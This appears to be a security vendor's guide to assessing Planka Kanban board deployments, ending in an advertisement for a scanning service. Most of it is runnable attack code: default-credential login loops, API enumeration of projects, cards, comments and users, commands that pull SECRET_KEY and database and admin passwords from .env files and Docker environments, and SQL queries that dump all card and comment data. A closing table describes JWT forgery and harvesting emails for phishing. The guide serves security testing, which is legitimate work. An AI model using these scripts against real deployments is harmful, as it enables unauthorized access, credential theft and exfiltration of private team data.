Planka is a widely deployed open-source Kanban board (Trello alternative) used for team project management — it stores all project boards, lists, cards, comments, and attachments. The critical risk: demo@demo.demo / demo are the documented default credentials that many deployments never change. Key assessment areas also include: SECRET_KEY signs JWT authentication tokens; the REST API provides complete access to all boards and cards; card descriptions and comments may contain sensitive business decisions, credentials, or confidential discussions; PostgreSQL stores all data; and the filesystem stores card attachments. This guide covers systematic Planka security assessment.
# Planka — default credentials and authentication testing
PLANKA_URL="https://planka.example.com"
# Test documented default credentials (demo@demo.demo / demo)
for CRED in "demo@demo.demo:demo" "admin@example.com:planka" "admin@planka.app:admin"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
AUTH=$(curl -s -X POST "${PLANKA_URL}/api/access-tokens" \
-H "Content-Type: application/json" \
-d "{\"emailOrUsername\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
item = d.get('item',{})
t = item.get('token','')
u = item.get('user',{})
if t:
print(f'OK token={t[:30]} user={u.get(\"name\",\"\")} admin={u.get(\"isAdmin\",False)}')
else:
print('FAIL: '+str(list(d.keys())))
" 2>/dev/null)
echo "${EMAIL}/${PASS}: ${TOKEN}"
done
# API access with JWT token
TOKEN="your-planka-jwt-token"
curl -s "${PLANKA_URL}/api/projects" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('items',[])
print(f'Projects: {len(projects)}')
for p in projects[:5]:
print(f' [{p.get(\"id\")}] {p.get(\"name\")}')
" 2>/dev/null
# Check for open registration
curl -s "${PLANKA_URL}/api/config" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
item = d.get('item',{})
print(f'Registration: {item.get(\"allowRegistration\",False)}')
print(f'OIDC enabled: {bool(item.get(\"oidcIssuerUrl\"))}')
" 2>/dev/null
# Planka API — board, card, and comment enumeration
PLANKA_URL="https://planka.example.com"
TOKEN="your-planka-jwt-token"
# Get all projects
curl -s "${PLANKA_URL}/api/projects" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('items',[])
print(f'Projects: {len(projects)}')
for p in projects[:10]:
print(f' [{p.get(\"id\")}] {p.get(\"name\")} background={p.get(\"background\",{}).get(\"type\")}')
" 2>/dev/null
PROJECT_ID="your-project-id"
# Get project with all boards
curl -s "${PLANKA_URL}/api/projects/${PROJECT_ID}" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
item = d.get('item',{})
included = d.get('included',{})
boards = included.get('boards',[])
print(f'Project: {item.get(\"name\")} boards: {len(boards)}')
for b in boards[:10]:
print(f' Board [{b.get(\"id\")}]: {b.get(\"name\")}')
" 2>/dev/null
BOARD_ID="your-board-id"
# Get board with all lists, cards, and comments
curl -s "${PLANKA_URL}/api/boards/${BOARD_ID}" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
included = d.get('included',{})
cards = included.get('cards',[])
comments = included.get('cardComments',[])
actions = included.get('actions',[])
print(f'Cards: {len(cards)} Comments: {len(comments)} Actions: {len(actions)}')
for c in cards[:10]:
desc = str(c.get('description',''))[:50]
print(f' [{c.get(\"id\")}] {c.get(\"name\",\"\")[:40]} due={c.get(\"dueDate\",\"\")[:10]}')
if desc:
print(f' desc: {desc}')
for comment in comments[:5]:
print(f' Comment: {str(comment.get(\"text\",\"\"))[:60]}')
" 2>/dev/null
# Enumerate all users
curl -s "${PLANKA_URL}/api/users" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('items',[])
print(f'Users: {len(users)}')
for u in users[:10]:
print(f' [{u.get(\"id\")}] {u.get(\"name\")} {u.get(\"email\",\"\")} admin={u.get(\"isAdmin\")}')
" 2>/dev/null
# Planka SECRET_KEY and database credential extraction
# .env file — Planka configuration
cat /app/.env 2>/dev/null | grep -E "SECRET_KEY|DATABASE_URL|TRUST_PROXY|OIDC|DEFAULT_ADMIN"
# SECRET_KEY — JWT signing secret
# DATABASE_URL — PostgreSQL connection string
# DEFAULT_ADMIN_EMAIL / DEFAULT_ADMIN_PASSWORD — initial admin account
# OIDC_* — SSO configuration credentials
# Docker environment variables
docker inspect planka 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SECRET_KEY','DATABASE','ADMIN','OIDC','PASSWORD']):
print(e)
" 2>/dev/null
# PostgreSQL — all project and card data
DB_URL="postgresql://planka:PASSWORD@localhost/planka"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All users
SELECT id, email, name, username, is_admin,
created_at, updated_at
FROM user_account
ORDER BY is_admin DESC, created_at ASC
LIMIT 20;
EOF
-- All cards with descriptions (often contain meeting notes, decisions, PII)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT c.id, c.name, c.description,
c.due_date, c.is_completed,
b.name as board_name,
l.name as list_name
FROM card c
JOIN list l ON c.list_id = l.id
JOIN board b ON l.board_id = b.id
ORDER BY c.updated_at DESC
LIMIT 20;
EOF
-- description column: Markdown text containing task details, links, credentials, decisions
-- All card comments
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT cc.id, cc.text, cc.created_at,
u.email as author, c.name as card
FROM card_comment cc
JOIN user_account u ON cc.user_id = u.id
JOIN card c ON cc.card_id = c.id
ORDER BY cc.created_at DESC
LIMIT 20;
EOF
-- text contains all team discussion on each card — meeting notes, decisions, links
-- Attachments on cards
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT a.id, a.name, a.filename, a.card_id,
c.name as card_name, a.created_at
FROM attachment a
JOIN card c ON a.card_id = c.id
ORDER BY a.created_at DESC
LIMIT 10;
EOF
| Security Test | Method | Risk |
|---|---|---|
| Default demo@demo.demo/demo credential access | POST /api/access-tokens with demo@demo.demo/demo — documented default; access all boards the demo user is member of; reveals organizational project structure | Critical |
| SECRET_KEY extraction and JWT token forgery | Read .env SECRET_KEY — JWT signing key; forge tokens for any user including admin; full access to all projects and boards regardless of membership | Critical |
| Card description and comment data exfiltration | GET /api/boards/{id} — all cards with descriptions; card comments often contain meeting notes, decisions, internal links, and occasionally credentials shared for convenience | High |
| PostgreSQL card and comment complete extraction | SELECT description FROM card; SELECT text FROM card_comment — complete organizational project history including all task details and team discussions | High |
| User enumeration and email extraction | GET /api/users — all platform users with emails; useful for targeted phishing against project team members; admin identification for privilege escalation | Medium |
Ironimo tests Planka deployments for default demo@demo.demo/demo credential access, SECRET_KEY extraction and JWT token forgery, card description and comment sensitive content exfiltration, PostgreSQL complete card and comment data extraction, user enumeration and email extraction, board membership access boundary testing, attachment filesystem access, open registration testing, OIDC configuration credential extraction, and Docker environment variable SECRET_KEY/DEFAULT_ADMIN_PASSWORD exposure.
Start free scan